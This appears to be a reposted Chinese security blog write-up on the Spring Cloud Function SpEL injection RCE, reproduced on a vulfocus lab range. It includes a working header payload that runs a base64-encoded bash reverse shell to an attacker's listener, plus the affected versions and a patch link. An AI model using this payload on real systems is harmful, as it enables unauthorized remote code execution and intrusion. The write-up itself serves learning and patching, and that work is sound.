Spring Cloud Function SPEL 远程代码执行

admin 2022年6月2日15:28:55评论88 views字数 898阅读2分59秒阅读模式

产品介绍:

Spring Cloud Function 是基于Spring Boot 的函数计算框架,它抽象出所有传输细节和基础架构,允许开发人员保留所有熟悉的工具和流程,并专注于业务逻辑。


漏洞介绍:

4月Spring Cloud Function组件爆出0day -- SPEL表达式注入导致RCE,官方commit中的test已经公开对应细节。


漏洞原理:

由于Spring Cloud Function中RoutingFunction类的apply方法将请求头中的“spring.cloud.function.routing-expression”参数作为Spel表达式进行处理,造成了Spel表达式注入漏洞,未经授权的远程攻击者可利用该漏洞执行任意代码。


影响版本:

3.0.0.RELEASE <= Spring Cloud Function <= 3.2.2


漏洞复现:

这里采用vulfocus在线靶场


Spring Cloud Function SPEL 远程代码执行


Spring Cloud Function SPEL 远程代码执行


进入页面先访问下functionRouter路径


Spring Cloud Function SPEL 远程代码执行


抓包将其请求方式由GET改成POST

在Host下方添加payload和Content-Type

spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("bash -c {echo,bash -i >&/dev/tcp/ip/端口 0>&1的base64编码形式}|{base64,-d}|{bash,-i}")
Content-Type:application/x-www-form-urlencoded

Spring Cloud Function SPEL 远程代码执行


vps进行nc监听端口


Spring Cloud Function SPEL 远程代码执行


在bp发完包之后,shell也是成功弹了回来


Spring Cloud Function SPEL 远程代码执行


Spring Cloud Function SPEL 远程代码执行


进入tmp目录成功拿下flag!


修复建议:

官方目前发布了修复此漏洞的commit:https://github.com/spring-cloud/spring-cloud-function/commit/0e89ee27b2e76138c16bcba6f4bca906c4f3744f,可下载官方的修复代码重新编译打包。

原文始发于微信公众号(三零二):Spring Cloud Function SPEL 远程代码执行

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年6月2日15:28:55
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Spring Cloud Function SPEL 远程代码执行https://cn-sec.com/archives/1078866.html

发表评论

匿名网友 填写信息